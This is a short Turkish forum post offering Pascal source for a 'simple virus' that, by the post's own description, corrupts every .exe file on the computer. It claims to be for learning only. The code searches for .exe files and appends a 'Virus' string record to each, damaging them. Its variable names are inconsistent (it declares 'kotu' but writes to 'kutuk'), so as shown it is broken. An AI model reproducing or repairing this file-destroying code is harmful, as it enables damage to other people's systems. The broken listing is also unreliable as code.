Basit bir virüs programı amaç kötü amaçlı kullanmak degil sadece bilgilenmek...
bu kodu çalıştırdıgımız zaman bilgisayarımızda ne kadar .exe uzantılı program varsa bozuluyor...
uses crt,dos;
type
tip=record
sozcuk:string[30];
end;
var
DirInfo: SearchRec;
kotu:file of tip;
kd :tip;
dosya:string[20];
begin
FindFirst('*.exe', Archive, DirInfo);
while DosError = 0 do
begin
Writeln(DirInfo.Name);
FindNext(DirInfo);
assign(kotu,dirinfo.name);
{$I-}
reset(kotu);
if ioresult<>0 then
begin
rewrite(kotu);
close(kotu);
reset(kotu);
end;
{$I+}
seek(kutuk,filesize(kutuk));
kd.sozcuk:='Virus ™ZGšVEN';
write(KUTUK,KD);
end;




Alıntı ile Cevapla
Bu Konuyu Paylaşın !